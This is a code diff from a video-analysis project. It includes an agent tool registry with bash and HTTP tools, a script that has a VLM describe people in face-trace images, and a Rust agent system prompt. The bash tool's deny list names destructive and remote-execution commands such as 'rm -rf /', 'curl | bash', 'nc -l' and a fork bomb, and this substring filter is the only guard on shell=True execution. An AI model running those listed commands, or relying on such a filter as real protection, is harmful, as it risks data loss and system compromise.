logger.info(f"Available Qdrant collections: {collections}")
if collection not in collections:
return ToolResult(
success=False,
data=None,
error=f"Collection '{collection}' not found. Available: {', '.join(collections)}"
)
except Exception as e:
return ToolResult(
success=False,
data=None,
error=f"Qdrant connection failed: {str(e)}"
)
# Execute search
search_url = f"{qdrant_url_base}/collections/{collection}/points/search"
search_payload = {"vector": embedding, "limit": limit, "with_payload": True}
try:
search_resp = req.post(search_url, json=search_payload, headers=headers, timeout=30)
search_resp.raise_for_status()
results = search_resp.json().get("result", [])
logger.info(f"Qdrant returned {len(results)} matches")
except Exception as e:
return ToolResult(
success=False,
data=None,
error=f"Qdrant search failed: {str(e)}"
)
return ToolResult(
success=True,
data={
"matches": [
{"id": r.get("id"), "score": r.get("score"), "payload": r.get("payload", {})}
for r in results
],
"match_count": len(results)
}
)
self.registry.register(
name="search_qdrant",
description=f"Search for similar vectors in Qdrant collection. Default collection: {default_collection}",
parameters={
"type": "object",
"properties": {
"collection": {
"type": "string",
"description": f"Qdrant collection name (default: {default_collection})",
"default": default_collection
},
"query_text": {
"type": "string",
"description": "Search query text (will be embedded)"
},
"limit": {
"type": "integer",
"description": "Maximum number of results",
"default": 10
}
},
"required": ["query_text"]
},
executor=search_qdrant
)
# Bash tool with enhanced safety
def execute_bash(args: Dict[str, Any]) -> ToolResult:
command = args.get("command", "")
timeout = args.get("timeout", 30)
if not command:
return ToolResult(success=False, data=None, error="No command provided")
# Limit command length
if len(command) > 2000:
return ToolResult(success=False, data=None, error="Command too long (max 2000 chars)")
logger.info(f"Executing bash command: {command[:100]}")
# Enhanced safety patterns
blocked_patterns = [
# File system destruction
"rm -rf /", "rm -rf /*", "mkfs", "dd if=", "> /dev/",
# Permission escalation
"sudo ", "su -", "chmod 777", "chown root",
# Remote execution
"curl | bash", "curl | sh", "wget | sh", "wget | bash",
"curl http", "wget http",
# Fork bomb / DoS
":(){", "fork", "kill -9 1",
# Network listeners
"nc -l", "netcat -l", "socat",
# Process killing
"killall", "pkill",
# Disk operations
"fdisk", "parted",
]
command_lower = command.lower()
for pattern in blocked_patterns:
if pattern in command_lower:
logger.warning(f"Blocked dangerous command pattern: {pattern}")
return ToolResult(
success=False,
data=None,
error=f"Blocked dangerous command pattern: {pattern}"
)
try:
result = subprocess.run(
command,
shell=True,
capture_output=True,
text=True,
timeout=timeout
)
logger.info(f"Command completed with return code: {result.returncode}")
return ToolResult(
success=result.returncode == 0,
data={
"stdout": result.stdout[:5000],
"stderr": result.stderr[:2000],
"returncode": result.returncode
}
)
except subprocess.TimeoutExpired:
logger.error(f"Command timed out after {timeout}s")
return ToolResult(
success=False,
data=None,
error=f"Command timed out after {timeout}s"
)
self.registry.register(
name="execute_bash",
description="Execute a bash command on the system. Use for file operations, system checks, etc.",
parameters={
"type": "object",
"properties": {
"command": {
"type": "string",
"description": "Bash command to execute"
},
"timeout": {
"type": "integer",
"description": "Timeout in seconds",
"default": 30
}
},
"required": ["command"]
},
executor=execute_bash
)
# API tool
def call_api(args: Dict[str, Any]) -> ToolResult:
import requests as req
url = args.get("url", "")
method = args.get("method", "GET").upper()
headers = args.get("headers", {})
data = args.get("data")
if not url:
return ToolResult(success=False, data=None, error="No URL provided")
logger.info(f"Calling API: {method} {url[:100]}")
try:
if method == "GET":
resp = req.get(url, headers=headers, timeout=30)
elif method == "POST":
resp = req.post(url, json=data, headers=headers, timeout=30)
elif method == "PUT":
resp = req.put(url, json=data, headers=headers, timeout=30)
elif method == "DELETE":
resp = req.delete(url, headers=headers, timeout=30)
else:
return ToolResult(
success=False,
data=None,
error=f"Unsupported method: {method}"
)
logger.info(f"API response: {resp.status_code}")
return ToolResult(
success=resp.status_code < 400,
data={
"status_code": resp.status_code,
"headers": dict(resp.headers),
"body": resp.text[:10000]
}
)
except Exception as e:
logger.error(f"API call failed: {e}")
return ToolResult(success=False, data=None, error=str(e))
self.registry.register(
name="call_api",
description="Call an external HTTP API endpoint. Use for REST API interactions.",
parameters={
"type": "object",
"properties": {
"url": {
"type": "string",
"description": "API endpoint URL"
},
"method": {
"type": "string",
"enum": ["GET", "POST", "PUT", "DELETE"],
"description": "HTTP method",
"default": "GET"
},
"headers": {
"type": "object",
"description": "HTTP headers"
},
"data": {
"type": "object",
"description": "Request body for POST/PUT"
}
},
"required": ["url"]
},
executor=call_api
)
def main():
"""Example usage"""
caller = OllamaToolCaller()
caller.register_default_tools()
query = "How many videos are in the database?"
print(f"Query: {query}")
print("-" * 50)
result = caller.run(query)
print(f"Result: {result}")
if __name__ == "__main__":
main()
scripts/trace_vlm_caption.py
Executable
+345
View File
@@ -0,0 +1,345 @@
#!/opt/homebrew/bin/python3.11
"""
Trace VLM Caption - Generate VLM descriptions for face traces
Analyzes key_face.jpg or key_frame.jpg using VLM (llava:7b) and updates trace_profile.json.
Usage:
python trace_vlm_caption.py --trace-dir /path/to/output/{uuid}/trace_0
python trace_vlm_caption.py --file-uuid abc123 --trace-id 0 --output-dir /path/to/output
Output (13 fields):
Person: vlm_description, vlm_clothing, vlm_tags, vlm_hand_objects
Environment: vlm_lighting, vlm_location, vlm_weather, vlm_setting, vlm_transportation
Nature: vlm_has_plants, vlm_plants, vlm_has_animals, vlm_animals
Context: vlm_background, vlm_bg_tags
"""
import argparse
import base64
import json
import os
import sys
from pathlib import Path
try:
import requests
except ImportError:
print("requests not installed: pip install requests", file=sys.stderr)
sys.exit(1)
def encode_image(image_path: str) -> str:
"""Encode image to base64."""
with open(image_path, "rb") as f:
return base64.b64encode(f.read()).decode("utf-8")
def call_vlm(image_path: str, prompt: str, model: str = "llava:7b", ollama_url: str = "http://localhost:11434") -> str:
"""Call Ollama VLM API."""
image_b64 = encode_image(image_path)
payload = {
"model": model,
"prompt": prompt,
"images": [image_b64],
"stream": False,
"options": {"num_predict": 100}
}
try:
resp = requests.post(f"{ollama_url}/api/generate", json=payload, timeout=30)
resp.raise_for_status()
data = resp.json()
return data.get("response", "").strip()
except Exception as e:
print(f"VLM API error: {e}", file=sys.stderr)
return ""
def get_embedding(text: str, model: str = "nomic-embed-text-v2-moe", ollama_url: str = "http://localhost:11434") -> list:
"""Get embedding from Ollama."""
try:
resp = requests.post(
f"{ollama_url}/api/embed",
json={"model": model, "input": text},
timeout=30,
)
resp.raise_for_status()
data = resp.json()
return data.get("embeddings", [[]])[0]
except Exception as e:
print(f"[vlm] Embedding error: {e}", file=sys.stderr)
return []
def store_to_qdrant(profile: dict, file_uuid: str, trace_id: int, qdrant_url: str = "http://localhost:6333", qdrant_api_key: str = None) -> bool:
"""Store VLM results to Qdrant _vlm collection."""
description = profile.get("vlm_description", "")
if not description:
return False
# Get embedding
embedding = get_embedding(description)
if not embedding:
print(f"[vlm] Failed to get embedding for trace_{trace_id}", file=sys.stderr)
return False
# Generate point ID from file_uuid + trace_id
import hashlib
point_id = int(hashlib.md5(f"{file_uuid}_trace_{trace_id}".encode()).hexdigest()[:16], 16)
# Build payload
payload = {
"type": "trace",
"file_uuid": file_uuid,
"trace_id": trace_id,
"vlm_description": profile.get("vlm_description", ""),
"vlm_clothing": profile.get("vlm_clothing", ""),
"vlm_tags": profile.get("vlm_tags", []),
"vlm_hand_objects": profile.get("vlm_hand_objects", ""),
"vlm_lighting": profile.get("vlm_lighting", "unknown"),
"vlm_location": profile.get("vlm_location", "unknown"),
"vlm_weather": profile.get("vlm_weather", "unknown"),
"vlm_setting": profile.get("vlm_setting", "unknown"),
"vlm_transportation": profile.get("vlm_transportation", "unknown"),
"vlm_has_plants": profile.get("vlm_has_plants", False),
"vlm_plants": profile.get("vlm_plants", []),
"vlm_has_animals": profile.get("vlm_has_animals", False),
"vlm_animals": profile.get("vlm_animals", []),
"vlm_background": profile.get("vlm_background", ""),
"vlm_bg_tags": profile.get("vlm_bg_tags", []),
"vlm_model": profile.get("vlm_model", ""),
}
# Upsert to Qdrant
try:
headers = {}
if qdrant_api_key:
headers["api-key"] = qdrant_api_key
resp = requests.put(
f"{qdrant_url}/collections/_vlm/points?wait=true",
json={
"points": [{
"id": point_id,
"vector": embedding,
"payload": payload,
}]
},
headers=headers,
timeout=30,
)
resp.raise_for_status()
print(f"[vlm] Stored to Qdrant: trace_{trace_id}")
return True
except Exception as e:
print(f"[vlm] Qdrant error: {e}", file=sys.stderr)
return False
def analyze_trace(trace_dir: str, model: str = "llava:7b", store_qdrant: bool = True) -> dict:
"""
Analyze a face trace with VLM.
Returns:
Dict with VLM analysis results
"""
trace_path = Path(trace_dir)
profile_path = trace_path / "trace_profile.json"
if not profile_path.exists():
print(f"[vlm] No trace_profile.json in {trace_dir}", file=sys.stderr)
return {}
# Load existing profile
with open(profile_path, "r") as f:
profile = json.load(f)
# Find image to analyze (prefer key_frame.jpg for full context)
key_frame = trace_path / "key_frame.jpg"
key_face = trace_path / "key_face.jpg"
if not key_frame.exists() and not key_face.exists():
print(f"[vlm] No key_frame.jpg or key_face.jpg in {trace_dir}", file=sys.stderr)
return profile
# Use key_frame for clothing/background analysis (full body context)
image_to_analyze = str(key_frame) if key_frame.exists() else str(key_face)
print(f"[vlm] Analyzing {trace_path.name}...")
# Prompt 1: Person description
desc_prompt = "Describe this person briefly. Include: gender, age range, hair, visible clothing. If uncertain, say 'unknown'. Be concise and honest."
description = call_vlm(image_to_analyze, desc_prompt, model)
# Prompt 2: Clothing details
clothing_prompt = "Describe this person's clothing in detail. Include colors, type of clothing, any visible text or logos. If unclear, say 'unclear' or 'partially visible'. Do not guess."
clothing = call_vlm(image_to_analyze, clothing_prompt, model)
# Prompt 3: Tags
tags_prompt = "List 5 tags describing this person's appearance, comma-separated. Only include what you can clearly see. Examples: man, glasses, red-shirt, formal, casual."
tags_raw = call_vlm(image_to_analyze, tags_prompt, model)
tags = [t.strip() for t in tags_raw.replace(",", " ").split() if t.strip()][:5]
# Prompt 5: Objects in hand
hand_prompt = "What is this person holding in their hands? Answer: object names if clearly visible, or 'nothing visible', or 'unclear'. Do not guess."
hand_objects = call_vlm(image_to_analyze, hand_prompt, model)
# Prompt 6: Lighting (day/night)
light_prompt = "What is the lighting condition? Answer one word: day, night, indoor-light, mixed, or unknown. If uncertain, answer 'unknown'."
lighting = call_vlm(image_to_analyze, light_prompt, model).lower().strip()
# Prompt 7: Scene classification
scene_prompt = "Classify the scene. Answer in JSON: {\"location\": \"indoor/outdoor/unknown\", \"weather\": \"sunny/cloudy/rainy/night/unknown\", \"setting\": \"office/street/home/nature/studio/unknown\", \"transportation\": \"car/train/bus/none/unknown\"}. Use 'unknown' if uncertain."
scene_raw = call_vlm(image_to_analyze, scene_prompt, model)
# Parse scene JSON (handle markdown code blocks)
scene_data = {}
try:
# Remove markdown code blocks if present
scene_clean = scene_raw.replace("```json", "").replace("```", "").strip()
scene_data = json.loads(scene_clean)
except:
scene_data = {}
# Prompt 8: Background description
bg_prompt = "Describe the background and environment briefly. Include only what is clearly visible. If uncertain about details, say 'unclear' or 'partially visible'. Do not guess or imagine."
background = call_vlm(image_to_analyze, bg_prompt, model)
# Prompt 9: Plants detection
plants_prompt = "What plants, trees, or flowers are clearly visible? Answer in JSON: {\"has_plants\": true/false, \"plants\": [\"list recognizable plants by name. If not recognizable, describe briefly what you see. Use empty list if none or uncertain.\"]}"
plants_raw = call_vlm(image_to_analyze, plants_prompt, model)
# Parse plants JSON
plants_data = {}
try:
plants_clean = plants_raw.replace("```json", "").replace("```", "").strip()
plants_data = json.loads(plants_clean)
except:
plants_data = {"has_plants": False, "plants": []}
# Prompt 10: Animals detection
animals_prompt = "What animals are clearly visible? Answer in JSON: {\"has_animals\": true/false, \"animals\": [\"list recognizable animals by name. If not recognizable, describe briefly what you see. Use empty list if none or uncertain.\"]}"
animals_raw = call_vlm(image_to_analyze, animals_prompt, model)
# Parse animals JSON
animals_data = {}
try:
animals_clean = animals_raw.replace("```json", "").replace("```", "").strip()
animals_data = json.loads(animals_clean)
except:
animals_data = {"has_animals": False, "animals": []}
# Prompt 11: Background tags
bg_tags_prompt = "List 5 tags for the background/scene, comma-separated. Examples: office, street, sunny, building, car, trees."
bg_tags_raw = call_vlm(image_to_analyze, bg_tags_prompt, model)
bg_tags = [t.strip() for t in bg_tags_raw.replace(",", " ").split() if t.strip()][:5]
# Update profile
profile["vlm_description"] = description
profile["vlm_clothing"] = clothing
profile["vlm_tags"] = tags
profile["vlm_hand_objects"] = hand_objects
profile["vlm_lighting"] = lighting
profile["vlm_location"] = scene_data.get("location", "unknown")
profile["vlm_weather"] = scene_data.get("weather", "unknown")
profile["vlm_setting"] = scene_data.get("setting", "unknown")
profile["vlm_transportation"] = scene_data.get("transportation", "unknown")
profile["vlm_has_plants"] = plants_data.get("has_plants", False)
profile["vlm_plants"] = plants_data.get("plants", [])
profile["vlm_has_animals"] = animals_data.get("has_animals", False)
profile["vlm_animals"] = animals_data.get("animals", [])
profile["vlm_background"] = background
profile["vlm_bg_tags"] = bg_tags
profile["vlm_model"] = model
# Save updated profile
with open(profile_path, "w") as f:
json.dump(profile, f, indent=2)
# Store to Qdrant
if store_qdrant:
file_uuid = profile.get("file_uuid", "")
trace_id = profile.get("trace_id", 0)
if file_uuid:
qdrant_api_key = os.environ.get("QDRANT_API_KEY")
store_to_qdrant(profile, file_uuid, trace_id, qdrant_api_key=qdrant_api_key)
print(f"[vlm] Updated {trace_path.name}: {description[:30]}... | Loc: {scene_data.get('location', '?')} | Light: {lighting} | Hand: {hand_objects[:20]}...")
return profile
def analyze_all_traces(file_uuid: str, output_dir: str, model: str = "llava:7b") -> dict:
"""
Analyze all traces for a file.
Returns:
Summary dict
"""
file_dir = Path(output_dir) / file_uuid
if not file_dir.exists():
print(f"No trace directory: {file_dir}", file=sys.stderr)
return {"error": "No trace directory"}
trace_dirs = sorted(file_dir.glob("trace_*"))
if not trace_dirs:
print(f"No traces found in {file_dir}", file=sys.stderr)
return {"error": "No traces"}
results = []
for trace_dir in trace_dirs:
profile = analyze_trace(str(trace_dir), model)
if profile:
results.append({
"trace_id": profile.get("trace_id"),
"vlm_description": profile.get("vlm_description", "")[:50] + "...",
"vlm_tags": profile.get("vlm_tags", []),
})
return {
"file_uuid": file_uuid,
"total_traces": len(trace_dirs),
"analyzed": len(results),
"traces": results,
}
def main():
parser = argparse.ArgumentParser(description="VLM caption generation for face traces")
parser.add_argument("--trace-dir", "-t", help="Single trace directory")
parser.add_argument("--file-uuid", "-u", help="File UUID (analyze all traces)")
parser.add_argument("--trace-id", type=int, help="Single trace ID (requires --file-uuid)")
parser.add_argument("--output-dir", "-o", default="/Users/accusys/momentry/output", help="Output directory")
parser.add_argument("--model", "-m", default="llava:7b", help="VLM model name")
parser.add_argument("--json", "-j", action="store_true", help="Output as JSON")
args = parser.parse_args()
if args.trace_dir:
# Single trace directory
result = analyze_trace(args.trace_dir, args.model)
elif args.file_uuid:
if args.trace_id is not None:
# Single trace
trace_dir = Path(args.output_dir) / args.file_uuid / f"trace_{args.trace_id}"
result = analyze_trace(str(trace_dir), args.model)
else:
# All traces for file
result = analyze_all_traces(args.file_uuid, args.output_dir, args.model)
else:
parser.error("Requires --trace-dir or --file-uuid")
if args.json:
print(json.dumps(result, indent=2))
else:
if "vlm_description" in result:
print(f"Description: {result['vlm_description']}")
print(f"Clothing: {result.get('vlm_clothing', '')}")
print(f"Tags: {result.get('vlm_tags', [])}")
if __name__ == "__main__":
main()
scripts/yolo_processor.py
+1
View File
@@ -483,6 +483,7 @@ if __name__ == "__main__":
action="store_true",
help="Force restart from beginning (ignore existing data)",
)
parser.add_argument("--frames", type=str, default=None, help=argparse.SUPPRESS)
args = parser.parse_args()
src/api/agent_search.rs
+91 -37
View File
@@ -80,50 +80,71 @@ pub struct AgentSearchResponse {
const SYSTEM_PROMPT: &str = r#"你是 Momentry 影片分析助手。回答用戶關於影片內容的問題。
## Greeting and Conversation Handling (CRITICAL - Check First)
- If user input is ONLY a greeting ("hi", "hello", "hey", "你好", "您好", "hallo"):
- **DO NOT call any search tools**
- Respond in English: "Hello! I'm Momentry video analysis assistant. I can help you search video content, find people, and analyze scenes. What would you like to know?"
- If user asks "how are you" or "thanks", respond briefly in English without tools
- **Only use search tools when user asks about VIDEO CONTENT**
## Response Language (MANDATORY)
- **DEFAULT: English** - You MUST respond in English unless user explicitly requests another language
- This applies to ALL responses: greetings, search results, explanations
- Example: If user asks "gun", respond in English about gun-related content
- Only respond in Chinese if user writes in Chinese AND explicitly requests Chinese response
## 核心原則：預設搜尋所有影片，不主動反問
- **所有查詢都預設搜尋全部影片**，不要問用戶「哪部影片」
- 如果搜尋到多部影片，直接列出所有結果，不要反問用戶選擇
- 只有當多個搜尋工具都返回空、且問題明顯指向特定影片時，才問用戶
- 搜尋工具（find_file, list_files, smart_search, universal_search）的 file_uuid 參數可省略以搜尋全部
- 搜尋工具（smart_search, semantic_search, trace_search）的 file_uuid 參數可省略以搜尋全部
## 工具使用規則（重要：優先使用 smart_search）
1. **內容/關鍵字問題優先使用 smart_search** — 可以找到影片內的具體文字內容（OCR、ASR）
2. **如果 smart_search 找到結果，附帶顯示 chunk 文字內容**（包含 [OCR]、[ASRX] 標記）
3. find_file 僅用於搜尋片名，不適合搜尋內容關鍵字
4. 人物問題使用 tkg_query
5. 人物台詞/發言問題使用 identities_search（輸入人名→回傳台詞片段）
6. 人物對話互動（誰跟誰說話）使用 tkg_query 的 speaker_interaction
7. 人物台詞內容使用 tkg_query 的 speaker_dialogue
8. 用文字反查人物使用 identity_text（輸入關鍵字→找出誰說/提到這段話）
9. 畫面分析使用 analyze_frame — 可以分析影片中的任何畫面內容（場景、人物表情、動作、物件等）
10. **人物外貌/衣著/顏色問題使用 vlm_describe** — 用 trace_id 查人臉裁切圖，經 VLM 分析描述衣著顏色、款式、配件等
11. **vlm_describe 使用流程**：先用 tkg_query top_identities/identity_traces 找到該人的 trace_id，再呼叫 vlm_describe(file_uuid + trace_id)
12. **可以同時呼叫多個工具，但需符合以下條件：**
- ✅ 查詢多部影片的相同資訊（如：3部影片的人物列表）
- ✅ 需要組合多個來源的資訊才能回答（如：file_info + tkg_query）
- ❌ 不要為了「嘗試所有可能」而盲目並行呼叫
- ❌ 如果單一工具已返回足夠答案，不需要額外呼叫
- ❌ 如果 smart_search 已找到相關 chunk，不需要再呼叫 find_file
- ❌ 如果單一工具已返回足夠答案，不需要額外呼叫
## 搜尋工具選擇策略（重要：根據問題類型選擇正確工具）
## 回答規則
### 優先順序（按此順序選擇工具）
1. **semantic_search** - 語意搜尋 → **優先使用（適合大多數查詢）**
2. **smart_search** - 精確關鍵字匹配（僅在需要精確匹配時使用）
3. **trace_search** - 人物外貌、衣著、地點
4. **find_file** - 僅搜尋片名（不搜尋內容）
### semantic_search（語意搜尋）- 優先使用
- **使用時機**：大多數查詢（理解意圖、概念性問題、一般話題）
- **範例**：「gun」、「car」、「他在做什麼」、「發生了什麼事」
- **回傳**：語意相關的 Top 10 chunk 卡片（text_preview, score, frame_range）
### smart_search（精確關鍵字匹配）
- **使用時機**：需要精確匹配專有名詞、特定詞彙（如人名、地名、專業術語）
- **範例**：「Cary Grant」、「Paris」、「確切的台詞引用」
- **回傳**：包含關鍵字的 Top 10 chunk 卡片（text_content, frame_range）
### trace_search（人物軌跡 VLM 搜尋）
- **使用時機**：搜尋人物外貌、衣著、地點、場景
- **範例**：「穿藍色衣服的人」、「在展場出現的人」、「戴眼鏡的人」
- **回傳**：符合的 face trace 卡片（name, vlm_description, vlm_clothing, vlm_tags, frame_range）
### face_profile_search（用名字或 VLM 註記搜尋人臉）
- **使用時機**：用「人名」或「VLM 註記」搜尋已命名的人臉畫面
- **範例**：「找出 Susan 的畫面」、「穿藍色衣服的人」、「在展場的人」
- **搜尋欄位**：name, vlm_description, vlm_clothing, vlm_tags, vlm_location, vlm_setting
- **回傳**：符合的 face profile 卡片（name, key_frame, key_face, frame_range, time_range）
### find_file（僅搜尋片名）
- **使用時機**：僅搜尋影片檔名
- **範例**：「find a video named action」
- **注意**：不適合搜尋內容，內容搜尋請用 semantic_search
## 回答格式
- 回答長度依問題類型調整：
- 簡單查詢（如「列出影片」）→ 簡潔列表回答（1-2句）
- 分析問題（如「描述情節」）→ 詳細回答（3-5句）
- 計數問題（如「有幾個場景」）→ 直接回答數字 + 簡短說明
- 回答格式：
- ✅ 如果找到影片，附上 file_uuid
- ✅ 對於人物問題，說出角色名和演員名（如果有）
- ✅ 引用資料時附上具體數字（frame 編號、時間秒數）
- ❌ 不要輸出 JSON 格式，用自然語言回答
- ❌ 不要編造資料，如果找不到就明確說「找不到」
- 簡單查詢 → 簡潔列表回答（1-2句）
- 分析問題 → 詳細回答（3-5句）
- **回傳 Top 10 卡片**：每個搜尋工具會回傳最多 10 張卡片
- 卡片包含：file_uuid, chunk_id/trace_id, start_time, end_time, score, text_preview/vlm_description
- 用自然語言回答，附上 file_name 和時間範圍
## 停止規則（重要）
## 停止規則
- **如果已經找到足夠資訊回答用戶問題，立即停止呼叫工具，直接回答**
- **如果連續 2 次呼叫工具都返回空結果或相同資訊，停止並告知用戶「找不到更多相關資訊」**
- **如果用戶問題不明確或範圍過大，停止並提供簡潔摘要**
- **如果單一工具呼叫返回完整答案，不需要額外呼叫其他工具補充**
- **優化效率：避免重複呼叫相同工具或查詢相同內容**"#;
- **如果連續 2 次呼叫工具都返回空結果，停止並告知「找不到更多相關資訊」**
- **優化效率：避免重複呼叫相同工具**"#;
fn make_tools(pool: &sqlx::PgPool) -> Vec<ToolDef> {
vec![
@@ -161,11 +182,31 @@ fn make_tools(pool: &sqlx::PgPool) -> Vec<ToolDef> {
),
function_calling::make_tool(
"smart_search",
"語意搜尋 chunk 文字內容。適合需要理解意圖的查詢。",
"關鍵字搜尋 chunk 文字內容（ILIKE）。適合精確匹配專有名詞、特定詞彙。",
serde_json::json!({
"file_uuid": {"type": "string", "description": "限制搜尋範圍（可選）"},
"query": {"type": "string", "description": "搜尋關鍵字"},
"limit": {"type": "integer", "default": 5}
"limit": {"type": "integer", "default": 10}
}),
vec!["query"],
),
function_calling::make_tool(
"semantic_search",
"語意搜尋（embedding + Qdrant）。適合理解意圖的查詢，如「他在做什麼」、「發生了什麼事」。",
serde_json::json!({
"file_uuid": {"type": "string", "description": "限制搜尋範圍（可選）"},
"query": {"type": "string", "description": "搜尋關鍵字（會轉為 embedding）"},
"limit": {"type": "integer", "default": 10}
}),
vec!["query"],
),
function_calling::make_tool(
"trace_search",
"搜尋人物軌跡的 VLM 註記（外貌描述、衣著、標籤、地點、場景）。輸入關鍵字，回傳符合的 face trace 卡片。適合回答「穿藍色衣服的人」、「在展場出現的人」。",
serde_json::json!({
"file_uuid": {"type": "string", "description": "限制搜尋範圍（可選）"},
"query": {"type": "string", "description": "搜尋關鍵字（會搜尋 name, vlm_description, vlm_clothing, vlm_tags, vlm_location, vlm_setting）"},
"limit": {"type": "integer", "default": 10}
}),
vec!["query"],
),
@@ -273,6 +314,16 @@ fn make_tools(pool: &sqlx::PgPool) -> Vec<ToolDef> {
}),
vec!["file_uuid", "trace_id"],
),
function_calling::make_tool(
"face_profile_search",
"用名字或 VLM 註記搜尋已命名的人臉。輸入關鍵字（名字、衣著描述、地點、標籤），回傳符合的 face profile 卡片（含 key_frame、key_face、時間範圍、frame 範圍）。適合回答「找出穿藍色衣服的人」、「Susan 出現在哪」、「在展場的人」。",
serde_json::json!({
"name": {"type": "string", "description": "搜尋關鍵字（會搜尋 name, vlm_description, vlm_clothing, vlm_tags, vlm_location, vlm_setting）"},
"file_uuid": {"type": "string", "description": "限制搜尋範圍（可選）"},
"limit": {"type": "integer", "default": 10}
}),
vec!["name"],
),
]
}
@@ -301,6 +352,8 @@ async fn execute_tool(pool: &sqlx::PgPool, tool_call: &ToolCall) -> (String, Str
"tkg_edges_query" => tools::exec_tkg_edges_query(pool, &args).await,
"tkg_node_detail" => tools::exec_tkg_node_detail(pool, &args).await,
"smart_search" => tools::exec_smart_search(pool, &args).await,
"semantic_search" => tools::exec_semantic_search(pool, &args).await,
"trace_search" => tools::exec_trace_search(pool, &args).await,
"identity_text" => tools::exec_identity_text(pool, &args).await,
"identities_search" => tools::exec_identities_search(pool, &args).await,
"get_identity_detail" => tools::exec_get_identity_detail(pool, &args).await,
@@ -309,6 +362,7 @@ async fn execute_tool(pool: &sqlx::PgPool, tool_call: &ToolCall) -> (String, Str
"analyze_frame" => tools::exec_analyze_frame(pool, &args).await,
"search_by_appearance" => tools::exec_search_by_appearance(pool, &args).await,
"vlm_describe" => tools::exec_vlm_describe(pool, &args).await,
"face_profile_search" => tools::exec_face_profile_search(pool, &args).await,
_ => Err(format!("Unknown tool: {}", name)),
};
let content = match result {
src/api/cluster_agent.rs
+19 -10
View File
@@ -1,9 +1,8 @@
use axum::{
Extension, Json,
extract::{Path, State},
http::StatusCode,
routing::post,
Router,
Extension, Json, Router,
};
use serde::Serialize;
use std::collections::HashMap;
@@ -120,14 +119,12 @@ pub async fn trigger_cluster_agent(
)
})?;
let total_traces = count_total_traces(&state, &file_uuid)
.await
.map_err(|e| {
(
StatusCode::INTERNAL_SERVER_ERROR,
Json(serde_json::json!({"error": e.to_string()})),
)
})?;
let total_traces = count_total_traces(&state, &file_uuid).await.map_err(|e| {
(
StatusCode::INTERNAL_SERVER_ERROR,
Json(serde_json::json!({"error": e.to_string()})),
)
})?;
tracing::info!(
"[ClusterAgent] Completed for {}: {} clusters, {} traces",
@@ -186,6 +183,7 @@ async fn update_trace_labels_from_cluster(
}
let tkg_table = schema::table_name("tkg_nodes");
let tp_table = schema::table_name("trace_profiles");
for (trace_id, cluster_id) in &trace_to_cluster {
let external_id = format!("trace_{}", trace_id);
let label = cluster_id.clone();
@@ -213,6 +211,17 @@ async fn update_trace_labels_from_cluster(
.execute(state.db.pool())
.await?;
}
// Sync name to trace_profiles
let _ = sqlx::query(&format!(
"UPDATE {} SET name = $1 WHERE file_uuid = $2 AND trace_id = $3",
tp_table
))
.bind(&label)
.bind(file_uuid)
.bind(trace_id)
.execute(state.db.pool())
.await;
}
tracing::info!(
src/api/files.rs
+234 -27
View File
@@ -140,6 +140,8 @@ struct RegisterFileResponse {
registration_time: Option<String>,
already_exists: bool,
message: String,
#[serde(skip_serializing_if = "Option::is_none")]
warning: Option<String>,
}
#[derive(Debug, Serialize)]
@@ -214,6 +216,7 @@ async fn register_single_file(
registration_time: None,
already_exists: false,
message: format!("File not found: {}", file_path),
warning: None,
};
}
@@ -245,6 +248,7 @@ async fn register_single_file(
registration_time: None,
already_exists: false,
message: format!("DB init failed: {}", e),
warning: None,
};
}
};
@@ -369,6 +373,7 @@ async fn register_single_file(
registration_time: rt,
already_exists: true,
message: format!("Content already registered: {}", epath),
warning: None,
};
}
return RegisterFileResponse {
@@ -385,6 +390,7 @@ async fn register_single_file(
registration_time: None,
already_exists: true,
message: "Content already registered (identical file)".to_string(),
warning: None,
};
}
}
@@ -620,6 +626,7 @@ async fn register_single_file(
registration_time: None,
already_exists: false,
message: "File registered successfully".to_string(),
warning: None,
}
}
@@ -627,6 +634,13 @@ async fn register_file(
State(state): State<AppState>,
Json(req): Json<RegisterFileRequest>,
) -> Result<Json<RegisterFileResponse>, StatusCode> {
let worker_running = super::health::check_worker_alive(&state).await;
let worker_warning = if !worker_running {
Some("Worker is not running - file will be registered but not processed automatically".to_string())
} else {
None
};
let file_path = req.file_path.clone();
let pattern = req.pattern;
@@ -650,6 +664,7 @@ async fn register_file(
"Pattern requires a directory, but path is not a dir: {}",
file_path
),
warning: None,
}));
}
let re = regex::Regex::new(pat).map_err(|e| {
@@ -713,6 +728,7 @@ async fn register_file(
"Batch register: {} registered, {} skipped, {} failed",
registered, skipped, failed
),
warning: worker_warning.clone(),
}));
}
@@ -765,9 +781,13 @@ async fn register_file(
}
}
let resp =
let mut resp =
register_single_file(&state, &file_path, req.user_id, req.content_hash, req.force).await;
if worker_warning.is_some() {
resp.warning = worker_warning;
}
if resp.success
&& !resp.already_exists
&& resp.file_type.as_deref() == Some("video")
@@ -805,7 +825,7 @@ async fn register_file(
.init_processing_status(&auto_uuid, all_procs, total as u64)
.await;
let _ = sqlx::query(&format!(
"UPDATE {} SET status = 'processing' WHERE file_uuid = $1",
"UPDATE {} SET status = 'scanning' WHERE file_uuid = $1",
schema::table_name("videos")
))
.bind(&auto_uuid)
@@ -1617,42 +1637,229 @@ async fn sync_file_status(
use crate::core::config::OUTPUT_DIR;
let output_dir = OUTPUT_DIR.as_str();
let required_processors = ["face.json", "asrx.json", "ocr.json", "pose.json", "appearance.json"];
let chunk_table = schema::table_name("chunk");
let tp_table = schema::table_name("trace_profiles");
let tkg_nodes_table = schema::table_name("tkg_nodes");
let tkg_edges_table = schema::table_name("tkg_edges");
let mut completed_count = 0;
for processor in &required_processors {
let path = std::path::Path::new(output_dir)
.join(format!("{}.{}", file_uuid, processor));
if path.exists() {
completed_count += 1;
// 檢查 processor JSON 是否存在
let processors = [
("asr", "asr.json"),
("asrx", "asrx.json"),
("ocr", "ocr.json"),
("pose", "pose.json"),
("cut", "cut.json"),
("face", "face.json"),
("face_cluster", "face_cluster.json"),
];
let mut processor_status = serde_json::Map::new();
let mut errors = Vec::new();
let mut all_consistent = true;
let mut any_json_exists = false;
for (name, filename) in &processors {
let path = std::path::Path::new(output_dir).join(format!("{}.{}", file_uuid, filename));
let json_exists = path.exists();
let mut consistent = false;
if json_exists {
any_json_exists = true;
// 讀取 JSON 內容
match std::fs::read_to_string(&path) {
Ok(content) => {
if let Ok(json_data) = serde_json::from_str::<serde_json::Value>(&content) {
// 檢查 DB 與 JSON 是否一致
let pre_table = schema::table_name("pre_chunks");
consistent = match *name {
"asr" => {
let json_count = json_data.get("segments").and_then(|s| s.as_array()).map(|a| a.len()).unwrap_or(0);
